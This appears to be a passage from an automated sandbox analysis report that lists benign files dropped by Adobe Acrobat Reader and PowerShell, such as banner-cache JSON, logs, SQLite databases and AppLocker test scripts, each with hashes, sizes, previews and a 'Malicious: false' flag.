SHA-256:	454A930C00F46552148D2BE9A712908B7A6E568C335AEA2140483F1FDF0F2E9B
SHA-512:	4333F1CD9823CB4603F3C3C4AB39E2C75D5BBF5526188462CF88EB8C3167CF21FF9724EB4ECF2D56B8196F5DD925CAB37BEAAAC7E087604D2EC392EC7D7D2207
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2147446155374775
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSQcu0GH7+FIbRI6XVW7+0YaS3oAvJfbPtdPeUkwRe9:YvXKXSJu0nYpW7qYGDV8Ukee9
MD5:	038EFA388635D95ED4BF90ADE430CDE0
SHA1:	DEC82A47C6A8CBD1EB55D011FA9F5B48823F017D
SHA-256:	AC1D19FA53FE220DBA119D27E2CE8E4A7ADD1DB43B91EEB649C7FFFEC3858275
SHA-512:	D1C9C714280EF2884F9A9F2076A179AD4F8110D9403FF44741E7404D90CE6453F298BD664371D70C165E559DF533BACFAFBA190B93621D8944BE3E744F1E6569
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2160341919625255
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSQcu0GH7+FIbRI6XVW7+0YaS3oAvJf21rPeUkwRe9:YvXKXSJu0nYpW7qYG+16Ukee9
MD5:	918A70C90A3DAB8EBCA96B9D60D7D227
SHA1:	8BD3BAF0290496C0B25C688F536961D7CE1359CB
SHA-256:	A8D9274401443BF6E7B7C8CCFD73A57963A71542EE96135981C7461A50D1E5A3
SHA-512:	AEFB1572F3B6E5BBBCA8F4D6E61E66D7EA771F2AC82C45258446E756CCF8891053B84C0990DAB06B63A20AE9B38F983022B958D487612EB6DD69AEDD4152C5D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.650822183326817
Encrypted:	false
SSDEEP:	24:Yv6Xi8iqtamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BStn:YvreBgkDMUJUAh8cvMtn
MD5:	C6943F04963E910C27CF3B67A10F61AB
SHA1:	E56A5987613FA749934D2F59225D5FE07B474A08
SHA-256:	E70D1D76555ACAC60EAE7D69B07DE114A7C3220798FA3A88FDA353DA5D98993B
SHA-512:	D056883C81EB5227DB3845BDBAAB26F2AB0D34AF02D705A257B66D040002D80EF22408A038311922E98D11017955CCE6C7BD750D812DB2C962CDF8EBAC9D3A2D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.188176251553228
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSQcu0GH7+FIbRI6XVW7+0YaS3oAvJfshHHrPeUkwRe9:YvXKXSJu0nYpW7qYGUUUkee9
MD5:	E37223886D19C20924418551660D92BA
SHA1:	3C08FCA21DD3E528BD42B6B4DCD4620162F43382
SHA-256:	6386D05558132B721DC1FF805B367BAFEEFBCC971B31A60FC380AE847EF776CC
SHA-512:	3063572A79760F30A949CC4ADB222423DD1C1E3EF54318527698E22BC2685B9A4C9548875CB07BEE7E45E6DC70E69430F885BD48DFACA870886A91ED0B1EBEB3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.205400251414469
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSQcu0GH7+FIbRI6XVW7+0YaS3oAvJTqgFCrPeUkwRe9:YvXKXSJu0nYpW7qYGTq16Ukee9
MD5:	E6003C98D49FCCB8D252FE862523BA94
SHA1:	90706FBD1475CF5140DC0E6E3B02FFC44FDA501F
SHA-256:	AEBA58BAB72EAEA82114A9D593933FE6E53E49E2000D0E2DF94D52ECC77F0CE1
SHA-512:	5BBC45617F3E6334CE9453B298BD0914E16BEC4FFCE00F8D0D5274135BD778D236E3C80CE33BFAC4BFBB6016699BE048B217F970048823213F2BCE75E0E68AA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140365688124457
Encrypted:	false
SSDEEP:	24:YMEVadayIC3ORnclxKfTjBoRSWk/jF1BdQsj0S5ZC5yN20i2LSbCqwGWkEKAa5sh:YMbxKfvOStFzdQ+nC4GNbwGWk9JS9r
MD5:	74616A87A2DADA978E7850EC0F27E35A
SHA1:	3C5630B308E23D2268132D6A9CF6718B5FCDB2DA
SHA-256:	5F49E95260B72CD08A624B2A09B4AB8B2CC4E02EB35D24CDED95170203502FE5
SHA-512:	566D20E3EFDFA40275CD2BE805BCAC5FE187F630373A8A59630B8641685C2102F173B916AB1A231D5DE0AC5489FD25641646AB7FD29F4443BB2E573D58E4112E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"bd548734cb883b9a6357eb84aa8e3688","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736575651000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c3e5c1cd2f5d9323b9f0e3baed54bd9f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736575651000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"23d575676ef6a863d5a5d59cbfe1e1e8","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736575651000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"2fc5b7114ac5738baf5e4e68e6b7d417","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736575651000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"3db0d3341c578234440d565aae5ab5f0","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736575651000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"9df2f4147ebbe44bff8bde4c0800c0ce","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9874772037286955
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpZ+0n4zJwtNBwtNbRZ6bRZ4a+0nF:TVl2GL7ms6ggOVp404zutYtp6PS0F
MD5:	8DF9AFE1B360077E66A593B414992C33
SHA1:	838BCD9A23FD509157C481DA7D2AD2276800A2F8
SHA-256:	ED0824E0FEBF85A952EA03F3E0F82390D8C94F95BAC506BCF81D33E19CCFC886
SHA-512:	4A28EB1DB96ABCBD3C146DCBF41F1B47DA93AC85F929B04626EE12F967CADAAA98BF189B9EDC9424914DC4E157843215163A16038F58DF7F20A2B9263274B8CF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3422700498175617
Encrypted:	false
SSDEEP:	24:7+t2AD1RZKHs/Ds/SpZ+0nPzJwtNBwtNbRZ6bRZWf1RZKknqLBx/XYKQvGJF7urh:7M2GgOVp40PzutYtp6PMFqll2GL7ms0
MD5:	D874FE7B66B6AA52F59DE598D1D76304
SHA1:	4692E491F83809662492C31E600CB3AF83DB6FBD
SHA-256:	EB1EC759AFD315407F693B93CD442F0127D9DF420FC6030796AE51EC51353871
SHA-512:	EC932C0F4609AC2B7FCD4DB910C2FF17634C2710FFD61E5BB7C2CDCDB7E25C928E485E69D2246928D9A210CD8CB475F116F1DDA19F33F3BF440CCED4487ABA3E
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg/EiHXhXgUeJdNZkY1/yJucqcYyu:6a6TZ44ADE/EiXhXgjKZtBK
MD5:	84DA3FAFE82F25C61544EA05454520D7
SHA1:	4CADACBF795C18C90039975FCB2182AEA924F02A
SHA-256:	FD803408932C3F7902EC4DEA03D71E001BB6E869147552928D99C641375D7AC1
SHA-512:	87AB10D95B94A9B2DD6980128DA9C6A58ACFEC3FB5A2CD04C47CB666EE7DB0EE635E75512007837111D2678CF9DBEDC8C1F1375AF1DBD27CA5E22A71057A2271
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI28ed3.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5004142083842487
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8ylaCH:Qw946cPbiOxDlbYnuRKdiaw
MD5:	A060AAA07E26A9A16E1CB32DFE8813D4
SHA1:	35975943B98D54FB15F2611DB623D0BF57A52F1B
SHA-256:	7683D967EE4686A221500E7915F2B77702DD216378282B090729843DC9FB640E
SHA-512:	5C541AC5A6BD11A8660A8EAE6550EE446912C505EAB12236B7378FF63C33FDAFC2ECF39B921FD27596DDD1910797F0DCAE7400FB67D039636E1D4C92E09F15E4
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.0.7.:.3.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ahdadtn.fwx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oz42uy2e.5rf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-07-27-371.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15111
Entropy (8bit):	5.349550841021221
Encrypted:	false
SSDEEP:	384:A7XaPDW62y5R9c6Chz0bgC3CKtGqxAca7QDvZlZU6oIWwNqNFKfWnIn+PB+SL6i7:zcDL
MD5:	D353F8DE62AE5919190508B3DB1AD994
SHA1:	68E17A8D219ED8399B8671FE763F9CD85EE5FD80
SHA-256:	4BB55F84F2AD6EF8C7AFBACFB2FD0794D4A11C0F914F4D4BFF0C93854D60F456
SHA-512:	CA0CBE77E48ABBB726849C8F04C5FCD6E723E82B2FE5C71EB6939F3F4A49EF534295AE238DE5BCEC354B733B0A3F286D23196D78CA6BAAD312C8E032E21520AE
Malicious:	false
Preview:	SessionID=b0a07a6a-eb0e-458f-9fbf-1135f9b64d65.1736575647407 Timestamp=2025-01-11T01:07:27:407-0500 ThreadID=7848 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b0a07a6a-eb0e-458f-9fbf-1135f9b64d65.1736575647407 Timestamp=2025-01-11T01:07:27:408-0500 ThreadID=7848 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b0a07a6a-eb0e-458f-9fbf-1135f9b64d65.1736575647407 Timestamp=2025-01-11T01:07:27:408-0500 ThreadID=7848 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b0a07a6a-eb0e-458f-9fbf-1135f9b64d65.1736575647407 Timestamp=2025-01-11T01:07:27:408-0500 ThreadID=7848 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b0a07a6a-eb0e-458f-9fbf-1135f9b64d65.1736575647407 Timestamp=2025-01-11T01:07:27:408-0500 ThreadID=7848 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3974084609272825
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbK:e
MD5:	F8902883056A4FCB8FFF6527F37F1AD6
SHA1:	7E133EDE6EE5B16664D1B9B82530D17F6E4CA18C
SHA-256:	B125FD30083F935D0F1B623D299EA7E6BCCB13AE6DF82A208677AE24F0E40D3D
SHA-512:	1009F396C70C68ED0E09DB80DEDF011EF61569C64F03DD4F4DA4B44EE82ABCF18E9C23A6C6011E776A255838DC3D6C966F0E31039DE632E0F8A12FB59516BEFB
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\43b2c348-74a7-4ea1-af9f-f5f77f678107.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\570243ba-38c9-4758-8934-a7cc4fff7260.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

